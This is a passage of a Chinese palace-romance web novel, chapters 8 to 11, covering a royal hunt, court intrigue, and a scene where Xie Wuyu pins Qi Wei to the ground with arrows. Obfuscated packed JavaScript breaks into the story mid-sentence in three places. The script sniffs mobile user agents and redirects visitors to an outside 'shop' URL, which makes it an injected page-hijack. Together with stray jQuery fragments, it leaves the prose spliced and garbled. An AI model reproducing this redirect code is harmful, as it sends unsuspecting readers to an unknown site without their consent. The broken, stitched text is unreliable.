元舜华出身高贵,诗书音律也是无一不通,若说她爱这等风雅之物,倒也不奇怪。 只不过从前,纪锦芙不曾关注过她娘到底用什么水泡茶。 纪锦林缓缓摇头,“娘亲她眼睛不好,太医说取白露时分的露水润眼,或可明目。所以,我便想着收一点试试看……” 纪锦芙闻言大惊失色,情急之下,捉住她的手问道:“你说什么?娘她……公主娘娘她,她眼睛不好?” 怎么会呢?她从来没听娘说过啊!! 纪锦林微怔,旋即笑说:“也是娘从未出阁时便有的痼疾了,太医也瞧过的,苦于没什么好法子,只能好好将养便是。” 说罢,因顾念纪锦芙双手冰凉,她将手中的鎏金手炉给了纪锦芙,便带着侍女们回营帐了。 纪锦芙失魂落魄地走回谢无虞处,将东西一丢,也不管正在穿衣的谢无虞,坐在塌上发起呆来。 谢无虞见状,挥退下人,踱道她身边:“怎么回来了?我还以为,是谢某这座小庙,容不下您这尊大佛了。” 纪锦芙却没心思跟他斗嘴,只神情凄楚地看着他,无声垂泪。 “这是怎么了?”谢无虞脸色一变,不禁暗自后悔。他察觉到纪锦芙快睡醒后,便隐匿行迹,跟在她身后。见到她与纪锦林同行之后,料想无事,就先起身回了营帐更衣。 谁料人居然是哭着跑回来的?难道是纪锦林欺负了她不成? 不应该啊…… 谢无虞寻出她的帕子,扶着她的脸替她拭泪。谁料纪锦芙不仅不骂他,也不反抗,任由他动作的同时,眼泪仍旧滚滚而下。 “你知道么,原来我娘眼睛不好。”纪锦芙一开腔,便止不住委屈,“我真笨,连这种事情都没发现,还只会惹娘生气。” “我除了花钱、跟人吵架、带着家仆去惹事儿以外,别的什么也不会。我还为了嫁给齐隗,跟娘大吵一架!” “可是你知道么……那个纪锦林,她居然还会亲手去给娘接露水?!” 纪锦芙抽抽噎噎,似乎是下了极大的决心一般,“只要……只要她替我孝敬爹和娘……”她没再说下去,却抬手极重地给了自己两巴掌。 谢无虞连忙握住她的手腕制止,见她面上一片红痕,连忙宽慰道:“不必如此,想来长公主知晓你有这份孝心,也会很欣慰。” 谁料纪锦芙听罢,哭得更凶了。正在谢无虞手足无措之际,纪锦芙哭得打了个嗝,道:“谢无虞,虽然我讨厌你。但是你对你娘一定要好些,别像我一样后悔。” 谢无虞哑然失笑,他双亲若是还健在,如今…… 纪锦芙旋即意识到自己说错话,捂住嘴道:“我忘了,你娘她不在了。” 于是两人各自伤情,一时无话。 8. 第8章 自纪锦芙那日哭着回来后,她倒也不再闹着要去见长公主、太康帝等人了。谢无虞暂且心安,另一边围猎开始,他因要伴驾,不免忙碌起来。两人相安无事,暂且不提。 这日围场之中,苍凉浑厚的号角声响彻骊山,惊起无数栖鸟斜飞而起,划过苍青色的天际与山脉交融之处。瑟瑟秋风中,天子仪仗缓缓行来,身后旌旗蔽日,扈从如云,绵延百里不绝。 身着甲胄的禁军如流水一般率先涌进猎场,武器铿锵之声与马嘶之声不绝于耳,隐隐有如雷动。 龙纛之下,太康帝身着猎装,骑在一匹通体如墨的骏马之上,徐徐前行。谢无虞等人控弦按剑,戍卫在后。 突然有一行人马,离队越众而出,直奔山林深处而去。众人顿时拉弓引箭,戒备起来。直到那人驰马至近处,哨骑来报,竟然是梁王元慎和他的随从。禁军才在太康帝的示意下,放下弓箭。 梁王元慎乃是诸皇子之长,其母戚贵妃虽然出身微贱,但太康帝将发妻徐氏废为庶人后,便不置中宫。是以戚贵妃实际上,一直在代行皇后之职。 见此情状,纪琰忆起妻子曾言,梁王为人轻佻,不是人君之相。正因如此,太康帝才迟迟未立太子。他对元慎并不满意,但其余诸子实在年幼,难以服众。 只是翻年过去,元慎也有十七岁了,戚贵妃母子如何能不着急? 未几,梁王元慎骑马而归,来到太康帝御驾之前拜倒,“儿猎了一头鹿,特来进献给陛下。” 太康帝面色不豫,但众目睽睽之下,也不欲驳了长子的面子,只冷冷道了句有心。其实他本已有心听从太后规劝,立梁王为嗣,可此番围猎,百官随行。梁王如此行径,实在是蠢得有些令人发笑了。 他倒不认为元慎有僭越之心,但以这种方式表现自己,实在让太康帝有些失望。 元慎得了父皇夸奖,欢天喜地地骑马归队了。 及至今日行围毕,元慎志得意满地跟胞弟陈王元秀一起,带着太康帝的赏赐归营。谁料恰好,戚贵妃也正在营帐中等他。 “母妃!”元慎面色红润,何等春风得意:“儿子今天抢在所有人前头猎了头鹿献给陛下,陛下不仅夸了我,还赏了许多东西下来!” 戚丽容正服侍戚贵妃饮茶,见状起身行礼道:“妾见过梁王殿下,陈王殿下。” 元秀年幼,跟着兄长跑了一日自然劳累,唤了声母妃,便扑进戚贵妃怀里。 戚贵妃爱怜地摸了摸元秀的脸颊,将人抱在怀里,才问元慎道:“都赏了些什么呢?金银珠宝?宝马名刀?” 元慎道:“那些东西有啥稀罕,从前赏得还少么。这次啊,陛下赏了我很多书册!” 戚贵妃出身低微,不通诗文,听到是书,顿觉没什么稀罕,便只顾着哄怀里的元秀。见到幼子疲累地睡着,她心疼不已,亲自将人安顿在榻上后,方才转回来跟长子说话。 “几本破书,瞧你高兴个什么劲儿。” 元慎被浇了一盆冷水,却毫不见气馁:“这却是母妃不懂了,陛下分明是对我寄予厚望啊!” 戚贵妃却道:“依我看,没那么容易。说不定陛下是嫌你功课太差,叫你好好读书的意思。” 正说话间,下人通报齐隗正在账外,前来谒见梁王。因戚贵妃在此,元慎本不欲见,戚贵妃却道:“让他进来就是了。” 于是戚贵妃避到屏风之后,受了齐隗的礼后,便带着侄女戚丽容照看元秀去了。 还不等元慎跟他闲话几句,齐隗劈头盖脸地道:“梁王殿下今日之举,真让下官为殿下捏一把冷汗。” 元慎闻言,面色不悦:“齐副郎何意?”他自认英武不凡,今日在众人面前大出风头,更是替太康帝长脸。 齐隗心下叹息,“臣今日所言,非为邀功,实是不愿殿下身涉险境。”他见元慎一脸迷茫,便只得继续低声道:“殿下莫非欲重蹈汉时戾太子覆辙吗?” “戾太子刘据受江充构陷,无奈之下起兵诛杀江充。却落得个父子相残,兵败自尽的下场!” 元慎拂袖冷笑:“副郎未免言过其实了,陛下不是汉武帝,我也不是戾太子。”太康帝生性宽和,对他更是从不加掩饰地寄予厚望。 他表现自己,不也是为了向百官证明,太康帝没看错人吗? 齐隗有些恨铁不成钢,“殿下莫非忘了,徐庶人是如何被废的,徐氏一族又是如何被牵连的?” 正在屏风后哄孩子的戚贵妃闻言怔住。徐氏出身高贵,十三岁时便被当时还是太子的太康帝纳为太子妃。太康帝登基之后,徐氏也顺利成章成为皇后。 可没两年,她就因操纵巫蛊诅咒太康帝而被废为庶人,家族也因此获罪。 戚贵妃是服侍太康帝最久的女子,自然最明了此事不过。 她飞快地向一旁的侄女使了个眼色,低声说了句什么。戚丽容会意,立刻转去屏风外头,为元齐二人奉茶。 “梁王殿下、齐副郎,贵妃想着二位辛苦,便请用盏茶,慢慢再议罢。” 元慎听是母亲的意思,不好违逆,便勉强呷了一口,随后重重将茶杯摔在桌上以示不满。 戚丽容见状,低眉顺眼地收拾了杯盏,又捧茶至齐隗面前。 齐隗无心饮茶,可戚丽容行动之间香风阵阵,他不由得抬眸望去。只见面前女子翠眉轻蹙,绛唇微微抿起,看向他时,眼如春水,端的是位风情万种的美人。 他怔怔望着戚丽容,连茶杯都忘了接。许是齐隗的目光太过露骨,戚丽容垂下眼,含羞带怯地将盏托举高,遮住自己的脸。 齐隗这才回过神来,道了声谢,目光却仍追随着戚丽容,恋恋不舍,直至她转进屏风后头。 齐隗略一思索,佯怒道:“殿下如此耽于内眷美色,是否胸无大志?既然如此,下官也不必多言,这便告辞。” “啊?”元慎摸不着头脑,见他看向屏风才道:“那是贵妃的本家侄女,入宫侍候贵妃的。表妹她还云英未嫁,齐副郎实在误会了……” 齐隗得到满意的回答,便道歉转开话题,继续劝诫梁王应当修德敬天,严守父子君臣之礼云云。 屏风后,戚贵妃将方才齐隗与侄女眉目传情看得清清楚楚。旁的事情她不懂,于男女风月一道上,她却是个中高手。 戚贵妃见侄女眉目含情,不由得暗暗思忖。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309649|198769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> - 却说谢无虞这日难得空闲,因见纪锦芙终日闷闷不乐,郁郁寡欢,便带人来跑马散心。 纪锦芙人坐在马背上,仍然神思不属。谢无虞看她摇摇晃晃,便也不敢离得太远,按辔在旁徐行,总不超过她三步开外。 “你今天怎么有空陪我?”纪锦芙奇道。 谢无虞偏过头乜斜她一眼,“本侯闲来无事,想去打猎,你不该在旁边侍候么?”说罢,抬手将宝雕弓兜头往她身上一套,扯住弓弦,便将她纤腰顶住,动弹不得。 纪锦芙尖叫一声,骂道:“你这个黑心肝的短命鬼,快放开我!”弓上镶嵌的宝石蹭过她手腕,冰凉的触感令她瑟缩一下,只敢俯身伸手死死抱住辔头。 谢无虞啧了两声,“你别乱动!”又伸手拉住她身下摇摆的辔头。 二人越走越远,旷野寂静,纪锦芙的骂声就愈发明显,“谢狗!流氓!无赖!小贼!”地骂个不停。 见四下无人,谢无虞倒终于肯放过她,将弓自纪锦芙身上取下,又将人抱下马。 纪锦芙站定,反手扬起马鞭朝谢无虞抽去。谢无虞身手矫捷,只被马鞭扫到脖颈,凸起的喉结处顿时生出一小道血痕。 谢无虞伸手拂过伤处,见指尖染血,便冷下脸道:“你好大的胆,敢抽本侯。” “抽就抽了,还要挑日子么!”纪锦芙色厉内荏,面上总是不肯示弱。其实心下暗暗担心,此地无人,谢无虞若要对自己做什么,自己只有任人宰割的份儿。 谢无虞逼近,纪锦芙只得步步后退,不敢直视那双深若寒潭的双眸。直到马鞍顶住纪锦芙的后腰,再也无路可退。一声马嘶,吓得纪锦芙尖叫一声捂住头脸。 谢无虞双手撑在马背上,方寸之地间,他却仍在逼近,堪堪停在纪锦芙耳侧,轻笑一声,“我觉得,你还是生气的模样最能入眼。” “谁要入你的眼了!” 谢无虞抬手捏住纪锦芙的脸颊,两人呼吸相闻,看着她羞赧的模样,谢无虞不由得轻笑:“不过……你怕什么,觉得我会打你?” 被他抚过的肌肤泛起淡淡痒意,纪锦芙白皙的耳廓立时浮上一层红粉。 谢无虞继续道:“谢某自是惜花之人,怎会与女子动手?”看见纪锦芙一双盈盈妙目间恐惧渐渐消散,他挑了挑眉,轻蔑一笑:“若有女子令我不快,直接杀了便是。” 这下纪锦芙倒没被唬住,朝他翻了个白眼,她太了解谢无虞这幅神情了,一看就在憋坏。 “好啊,你来杀啊,怕你不成?”说着还伸手将领子拉低,露出一段白皙秀颀的脖颈。 谢无虞见被识破,自己讨了个没趣,只道:“好狠心的婢女啊,抽了我一鞭子,不但半点也不愧疚,竟然还威胁我——” 纪锦芙撇了撇嘴,偏过头去不肯看他,“很……很疼吗?”全然忘记谢无虞行伍出身,怎会在意这点小伤。 谢无虞道,“你看一眼,就不疼了。” 纪锦芙老大不情愿地凑过去,自怀中掏出个藕粉色绢帕,用来给谢无虞裹伤。 颈间挂了个甜香扑鼻的粉色手帕,谢无虞哑然失笑,暗自庆幸四下无人。 9. 第9章 纪谢二人笑闹过后,谢无虞便放了纪锦芙的马,令它自行回营。随后搂着纪锦芙上马,二人共乘一骑 纪锦芙嫌谢无虞腰间的宝雕弓太硬,硌得她腰疼,便又骂了谢无虞一顿。这番谢无虞倒少见得没反唇相讥,把那宝弓移去一边。 “什么破弓啊!花里胡哨的中看不中用,也没见你打回什么猎物来嘛。”纪锦芙鄙夷道,全然不知,她口中的破弓,乃是太康帝亲赐,用以奖赏谢无虞十七岁初上战场便一箭射死齐国残军主帅的。 谢无虞也不辩解,他性本恣意,围猎时能猎得多少猎物,全看他今日心情。心情好时,便满载而归,心情差时,空着手回来也是有过的。 纪锦芙骂得累了,便往后一倚,全然把谢无虞当成个靠枕,“你真难伺候,我累死了,干嘛非要出来打猎嘛。”她生来一副好嗓子,发牢骚的时候也语调婉转,声若黄鹂,令人生不起气来。 谢无虞假称打猎,实则只是见纪锦芙前些天郁郁寡欢,想要带她散散心罢了。他也不提此事,见这大小姐骂起人来又有了精神,便也算达到目的。 “你有哪里像是在伺候我?”谢无虞哂笑,“骑我的马,睡我的床,这样也叫伺候我?”自从纪锦芙来了,谢无虞或是在外间囫囵睡了,或是去韦观帐中凑合,她倒是毫无负担,鸠占鹊巢了。 果真是小时候作孽,欠她的。 纪锦芙吐了吐舌头,回身跟谢无虞打闹起来。打着打着,她却又嫌谢无虞身上的剑柄太硬硌得慌,鄙夷一番,解了他的剑,拔出来往弓身上镶嵌的宝石上轻轻砍了砍。见弓和剑都无事发生,纪锦芙自觉无趣,随手丢去一边了。 谢无虞咬牙切齿:“既然嫌弃,你倒是离我远点!”这笨丫头,这柄青霜剑乃是他随纪琰东征百室国时亲自缴获的,是百室国高氏王族的藏品。是他的爱物,日日都要擦拭养护的。 纪锦芙翻了个白眼:“有什么了不起的,你好歹也是个侯爵吧,还缺把剑使啊。”她一则不懂兵刃,二来也不知青霜剑的来历,更是对名剑宝刀司空见惯,是以纪锦芙只觉谢无虞大惊小怪。 她还没解气,喃喃道:“小气死了,又没弄坏么!”正说话间,远处两人并辔而来,纪锦芙觉得十分眼熟,便拉了拉谢无虞道:“你快看看,那是谁!” 谢无虞目力极佳,看着远处两骑,轻嗤一声,“未曾想齐隗还有这份心胸,怎么跟梁王混在一起。” 他连忙将颈间绣帕扯下,偷偷纳入怀中。 听到齐隗二字,纪锦芙立时柳眉倒竖,嗔道:“谢无虞,你不是说要把他的人头给我么,你现在就去把他杀了!” 谢无虞笑笑:“齐隗好歹也是吏部员外郎,官居从六品,我们还得徐徐图之。” 纪锦芙问道:“那你是啥官职来着?” 谢无虞一时失语,她连自己乃是正三品左金吾卫大将军都不知晓?!不由气闷道:“哼,我人微言轻,自然比不得你父亲位列三公,你母亲仪比亲王。” 纪锦芙莫名其妙,关她爹娘什么事?她嗔怪地看了谢无虞一眼,“那你官职总比齐隗要大吧?” 这句倒还像话,谢无虞笑道:“那是自然。” “那你还怕他干嘛!”说罢,纪锦芙忽而催马疾驰,向梁王与齐隗处而去。不仅如此,她还拎起那把她瞧不上的宝雕弓,张弓搭箭,对准了齐隗。 谢无虞轻笑:“没想到,你手劲儿还挺大的。”他的弓可不是什么人都拉得开。 纪锦芙咬牙切齿,“你别光看着,帮忙啊!”她虽跟随纪琰学过骑射,不过只是为了消遣闺中寂寞,并不曾长久地练习下去。是以她连放了五六箭,不仅连齐隗的边都没挨上,反倒飘飘忽忽地没飞出去多远就直直坠在地上。 两人这番动作,自然也引起了元齐二人的注意。因他二人也是独身至此,未带随从,是以齐隗便远远在马上拱手道:“谢兄也在此处跑马?” 齐隗与谢无虞均是纪琰收养的遗孤,纪琰与他二人的生父是义结金兰的兄弟,谢无虞的父亲谢朗居长、纪琰居次、齐隗的父亲齐听澜居末。因着这层关系,齐隗与谢无虞总算还有些香火情,虽然长大后二人性格不合有些疏远,见面时却仍旧兄弟相称。 谁料谢无虞并未理会齐隗,而是反手将纪锦芙圈在怀里,执着她的手拉满弓,附身在她耳边低语:“你不是想要我帮你吗?”呼出的热气喷洒在耳边,纪锦芙只觉心间一跳,握着弓箭的手不由得一抖,却立时被身后的谢无虞扶稳,箭尖直指齐隗眉心。 那边自矜身份,正等着谢无虞上前行礼的梁王元慎暗自心惊,这两人有仇,没听说啊? 转头一看,齐隗早已吓得六神无主,身下马匹被他一惊,嘶叫着将他摔下马去。 齐隗素来是个弱质文人,这一摔自然摔得不轻,仰面躺在地上狼狈万分。 元慎立时怒目而视,断喝到:“谢无虞,当着孤的面,你要做什么!” 谢无虞斜乜元慎一眼,口称恕罪,手上却毫不留情地帮纪锦芙射出一箭,直中齐隗肩头,却分毫没有伤到齐隗的皮肉,擦着他的衣料将他钉在地上。 齐隗大叫一声,手脚并用地往前爬行,却苦于肩膀中箭而动弹不得。他心下大骇,这谢无虞自幼脾气乖戾,从军多年,眉目间愈发狠厉难测。谢无虞骑在马上,锦袍烈烈而舞,眉目睥睨、杀意毕露,显见今日是无法善罢甘休了。 他又是哪里惹到这位杀才了?! “谢……谢兄……”齐隗浑身颤抖,说话也磕磕绊绊:“不知……下官哪里得罪于你……” 未等他一句话说完,谢无虞第二箭已至,这下他连挣扎的力气也没有了,只弱弱道:“你……你看在父辈的面子上……放过我!放过我!” 谢无虞仍旧握着怀中美人的手,箭尖隔空在齐隗身上游弋,一箭下去,齐隗必然死在当场。谢无虞语气愉悦,如同捉住老鼠的猫儿,恶劣地玩弄着尽在掌握的猎物,欣赏齐隗挣扎惧怕的姿态:“其实齐兄还没来得及得罪我,只不过……” 嗖嗖两箭,齐隗四肢都被钉在原地,动弹不得。 谢无虞莞尔,松开手,对纪锦芙道:“好啦,这下你总能射中了吧。”说罢,还催马靠得近了些。 众人的目光顿时聚集在纪锦芙身上,她似乎有些呆愣,迟疑地看了地上的齐隗一眼,勉强拉开弓对准齐隗。 元慎目瞪口呆,被谢无虞的姿态震慑,浑然忘了天家威严,喃喃道:“这什么情况……”谢无虞怀里搂了一个陌生女人,然后为了这个女人要杀跟他情同兄弟的齐隗? 谢无虞向元慎拱了拱手,“梁王容禀,下官正在教导我家姑娘骑射,拿齐兄练练手,倒教梁王见笑了。” 元慎嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309650|198769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽搐,心道这人果然是个疯子,他还是离远点为好。 见纪锦芙兀自犹疑不定,谢无虞便凑到她耳边低声道:“怎么,害怕了?” 纪锦芙的性子,最是受不得激将法,立时便道:“谁害怕了!”随后硬着头皮闭着眼,朝齐隗射了一箭。 纪锦芙紧闭双目,但闻齐隗的尖叫戛然而止,元慎更是轻笑出声,这才缓缓睁开一只眼。只见她射的那一箭,不偏不倚,却正好落在齐隗双腿之间的土地之上。纪锦芙看着谢无虞调笑的神色,不明就里地又举箭对着齐隗。 心情大起大落的齐隗见状忙道:“这位姑娘饶命!饶命!谢兄,快叫这位姑娘收手吧!”他算是明白了,谢无虞未必想要杀他,但这姑娘箭术如此不精,万一闭着眼一箭给他射个对穿,那真叫个千古奇冤了! 谢无虞挑眉,“求我没用,我可管不了这位姑娘。” 齐隗见谢无虞怀中的女子貌似珠圆,肌比玉润,实乃人间绝色,生死之间也不由令他心神恍惚:“姑娘……” 原本正在看戏的谢无虞见状道:“放箭!” 纪锦芙闻言,手一松,羽箭应弦而出,直直朝齐隗发顶而去。元慎暗自心惊,转过头去不敢直视。 随后便只闻得谢无虞向元慎告罪、策马远去之声。元慎再回头看去,唯见齐隗的发冠被箭射得四分五裂,他面色惨白,额上冷汗直流,狼狈至极。 直到谢无虞二人的背景看不见了,元慎这才下马,将齐隗搀扶起来,“齐副郎……你真是……”得罪了一个疯子啊。 - 谢无虞二人扬长而去后,纪锦芙十分不解,“你刚才,是什么意思……”她那一箭射不射得准先不提,但她被谢无虞所激,确是对准齐隗眉心去的,可谁料谢无虞却趁她不备,推了一下她的手臂。 以至准心变动,射中了齐隗的发冠。 谢无虞勒马徐行,半晌,抬手在纪锦芙白皙的额头上轻弹了一下,“你的性子,做不到亲手杀人,往后还是让我代劳吧。” 纪锦芙红唇轻抿,难得没有反唇相讥。方才谢无虞其实给她留足了时间杀掉齐隗,只不过她心中天人交战,心下竟然隐隐并不想取他性命。如果不是谢无虞出言相激,恐怕她连那两箭都射不出去。 “你别当我心软,不过是顾念着父辈的交情,让他多活几天罢了。” 谢无虞垂眸,方才他刻意为之,本意是想让纪锦芙自己歇了立刻杀掉齐隗的心思。这女子心思单纯,盛怒之下吩咐人把齐隗打个半死之类的事,以她的刁蛮习性倒也做得出来。可真叫纪锦芙自己动手杀人,那是断然不会。 如今谢无虞的成算倒是达成,纪锦芙自己歇了心思,不会再来催促自己。但……谢无虞紧攥缰绳,修长有力的指节泛白。想起方才看到纪锦芙对着齐隗犹豫的样子,他不免怒火中烧,几乎就要一箭取了齐隗的性命。 他冷冷道:“你对你的夫君倒也大度。”这刁蛮女子绝非是顾虑杀死齐隗的后果,她做事从来就不考虑后果。那便……只能是对齐隗余情未了了? 纪锦芙听了"夫君"二字,险些作呕,回身骂道:“你作死啊!别来恶心我,你稀罕他,不如你娶了他去,也算为民除害了!” 见纪锦芙气愤的样子不似作伪,谢无虞朗声大笑,御马疾驰,绕了一圈又回到原地,显见心情大好。 10. 第10章 被谢无虞突然加速吓得心跳不已,纪锦芙嗔道:“你是不是有病啊!”一会讲话阴阳怪气,一会又笑得莫名其妙。 谢无虞无从辩解,只得低头听训。等到纪锦芙出了气,他才温声道:“我带你去个地方如何?” 纪锦芙不稀罕:“这儿有什么可玩儿的?”她又不是第一次随行来骊山,再怎么好看的山景,也都不好看了。 谢无虞也不答话,兀自策马前行。此时日头高照,远处山岚渐散,草木郁郁苍苍,如在云中。山势绵延逶迤,秀丽如画,令人见而忘俗。 两人见此美景,不免徐行赏景。一路打闹拌嘴,亲密无间,直至日上中天,纪锦芙腹中饥饿,便吩咐谢无虞打只野兔来烤。期间不免又嫌弃谢无虞手艺一番。 等到二人到了目的地时,纪锦芙腹中饥饿,心情自然不好,娇美的脸上写满委屈。 “干嘛跑这么远嘛,我好饿了。”纪锦芙被抱下马时,还连声埋怨。她抬眼一看,远处廊腰缦回、碧瓦朱甍,显见是华丽宫室所在,便问:“你带我来哪儿?不会是汤泉宫吧?” 去年秋狝时,太康帝偶然发现一处温泉,便下令兴建汤泉宫。纪锦芙原本正央长公主带她来这刚建好的汤泉宫,只是还未成行,就出了被齐隗推下湖的惨事。 没想到竟被谢无虞带了来,她不由得笑道:“算你有些眼力见,怎么知道我想要泡温泉呢?” 正为二人牵马的下人见这女子对待淮阴侯如此娇纵,而淮阴侯不但不恼,眉目之间还颇有宠溺神色,便道:“夫人不知,此地刚建成不久,想来淮阴侯与您夫妻情深,特地带您来此。” 纪锦芙听那下人误认为他二人是夫妻,忙道:“谁跟他是夫妻啊!我是他的……”可要说出“丫鬟”二字,实在太过丢脸,纪锦芙便冲谢无虞“哼”了一声,踢了他一脚,提着裙子往前跑了。 纪锦芙这丫头嘴上一想不肯饶人,谁知也有今日?看她有口难言的模样,谢无虞心情大好,自怀中掏出两块金饼丢过去,佯装哀叹道:“唉,本侯惹了夫人不快,这可如何是好?” 那下人接住,掂掂分量,顿时喜笑颜开道:“谢侯爷赏赐!这夫妻之间,自然床头打架床尾和么,本也不是什么难事。” “更何况侯爷您如此英武不凡,想来那事上定然也是手到擒来……” 谢无虞听到这话,险些原地跌倒,他掩面叱道:“闭嘴!”这人嘴里都说些什么不干不净的! 因二人腹中饥饿,谢无虞便吩咐下人整治酒肴。酒足饭饱后,纪锦芙歪着头,直勾勾地看向谢无虞,“你说,这世界上会不会有妖怪?” 谢无虞失笑:“世间之事,无所不有,这又如何说得准?” 纪锦芙哀叹一声,“那她要真是妖怪,我肯定不是她对手啊!” 谢无虞疑惑,“你说谁是妖怪?纪妹妹?” 纪锦芙垮下脸:“不许你叫她纪妹妹!我才是你的纪妹妹!你这个混蛋,见了女人就姐姐妹妹的!你们很熟吗?”纪锦林那个女妖怪,怎么什么都要抢她的! 谢无虞神反问:“小时候我唤你纪妹妹,你是何反应,难道忘了?”如今怎么来倒打一耙? 啊……这就有些尴尬了,纪锦芙想,这人刚来她家时,确实是这么唤她来着。结果她因为讨厌谢无虞,便带着她的随从们把他给堵在院子里,并且放话说:除非是在爹娘面前,否则私下里谢无虞敢喊她一句纪妹妹,便让人揍他一顿! “哈哈……”纪锦芙尴尬笑笑,“小时候的事儿,你干嘛这么计较,反正就是不许你这么叫她!” “好好好,我唤她纪姑娘便是。”旋即,谢无虞正色道:“依我所见,纪姑娘是至真至诚之人,绝非妖物。” 纪锦芙顿时感觉天塌地陷:“完了完了,连你也说她好话了!”她三两步上前,抓住谢无虞胳膊,摇晃个不停,“不行不行,谢无虞你不能也被她抢去啊!我就只有你了……”说着说着,她愈发觉着委屈,呜地一声哭了出来。 她遭逢大变,周围人只剩这么一个谢无虞还认得她。是以纵然从前二人多有龃龉,这种情形下也难免生出几番依赖。 纪锦芙抬手勾住谢无虞的脖颈,仿佛溺水之人缠住一块浮木。 谢无虞大感头痛,眼瞧着哄好了,怎么又哭了?于是只能抚了抚她春草一般柔软的发丝,软语安慰一番。 纪锦芙原本慌乱不已,担心纪锦林万一施法让谢无虞也不记得自己,那她不是只能流落街头了。谁知谢无虞非但不似平常一般跟她作对,反而对她百般体贴,小意温柔,心里免不了又有些自矜起来。 想来这人虽然讨厌,却也难免对自己心软。 于是她泪眼朦胧地自谢无虞怀中抬头,回忆着平时冲爹娘撒娇的样子,软着嗓音恳求:“谢无虞,你能不能帮我做件事呀?” 美人语调缱绻绵软,眼含春水,用全然信赖的姿势坐在他怀里,一双藕臂紧紧地环着他的脖颈,衣料顺着她的动作缓缓下滑。纪锦芙生得白皙,青碧油润的翡翠手镯滑落,嵌在中间,愈发衬得她肌骨莹润。 谢无虞伸手握住那段雪腻酥香,比起云京城中贵女们的弱不胜衣,纪锦芙要更纤秾合度一些。他只觉像是握住了一段温而软的丝绸,微微发力,那丝绸便在他手中变个形状。 “什么事情?”他声音喑哑,眸光沉沉地划过那瓣樱唇,喉头滚动。 纪锦芙全然在状况之外,眼珠一转,唇瓣轻启,语气分外天真:“能不能,帮我把她给杀了?” 谢无虞眉头一挑,“你求我,我就考虑。” 要她低头求人,那是万万不成的,可现在只有谢无虞能帮她了…… 于是纪锦芙一咬牙,伸手把人一推,谁料谢无虞一推就倒,顺从地半倚着。纪锦芙硬着头皮想坐,刚抓着他肩头摇晃几下。身下人便不安分地挺腰,低低喝到:“别乱坐!” 纪锦芙轻呼一声,摇摇晃晃,双手撑在谢无虞颈侧,堪堪稳住身形。 “你干嘛!”纪锦芙嗔怪地打了身下人一拳,反手被钳住手腕,“算我求你了,好不好。你替我杀了她?” “杀了她,然后呢?”谢无虞声音微颤,气息凌乱不堪。 “那我就可以回家了呀!等我回到爹娘身边,一定求娘给你很多钱!虽然你应该不缺钱,但也没人嫌钱多吧……或者,我去皇帝舅舅那给你求个更大的官职?好不好嘛~” 看着身上喋喋不休的少女,谢无虞顿时消散了旖旎心思,心下苦涩:在她眼里,他从来都跟那些供她驱使奴役的人一般无二,金银财帛、功名利禄,跟她随手丢给狗的食物有何区别? 谢无虞拎着纪锦芙的衣领,把人挪开,背对着她兀自整理衣冠,语气冷淡:“纪姑娘若真是妖魔,我又拿什么胜过她?” 纪锦芙崩溃:“你都不去试试,你怎么知道杀不了她!” 谢无虞忍无可忍,看来自己的性命在她眼中亦不算什么,反手握住纪锦芙下巴,“我不答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白影飞快地在亭台楼阁之间穿梭,纪锦芙累得气喘吁吁,身后的侍女跟不上她们的步伐,早已不见踪影。 纪锦芙略一思索,索性站在原地,三长一短地呼哨。 不消片刻,那白影听了哨声,登时转身奔来,直直扑进纪锦芙怀里。她被扑地一个踉跄,脸上一热,正是长生伸着舌头舔个不停,热情地令人招架不住。 纪锦芙握着长生的嘴筒子,推开狗头,问道:“你……你还认得我是不是?”说罢,便左右上下查看着长生的样貌。 通体雪白,尖耳直立,眼睛乌黑如曜石,嘴角上翘,跳起来有半人多高。不是她的长生是谁! 纪锦芙自幼便爱狗如命,从前还养过很多,如今身边只剩下长生一个。她又呼哨几声,见长生像往常一样听她命令,不由得抱着长生温暖的身体大哭起来。 “连你都还记得我……”可爹娘他们却把她给忘了 长生与主人重逢,心中激动并不亚于纪锦芙,它将头拱到纪锦芙面前,似乎想要为她拭泪。生怕狗再舔她脸,纪锦芙手忙脚乱地擦了擦脸上的眼泪,抚摸着长生顺滑洁白的脊背,说道:“好狗狗,好狗狗,你能不能帮我回家呀。” 长生咻咻地吐着舌,又重重扑进纪锦芙怀里。 “你是何人,为何在此?”一道如珠落玉盘般婉转动听的女声,自她身后响起。 11. 第11章 纪锦芙抱着狗回头一看,身后之人正是长公主母女二人。元舜华一席雪青色缠枝莲绣裙,披着件素白绫罗披风,上头用银线绣着兰草,头戴点翠流苏凤钗,衣带翻飞之间,丝毫不逊色于正当妙龄的纪锦林。母女俩站在一起,真如神仙中人,令人见之忘俗。 纪锦林见状,轻轻招手唤道:“长生,过来,别吓到旁人。” 纪锦芙听到这话,反手紧紧搂住长生,不肯松手。 长生看看纪锦芙,又看看纪锦林,只顾咧着嘴巴吐舌头,好在纪锦林也不在意,只笑道:“看来姐姐跟长生很合得来呢,倒是我多虑了。” 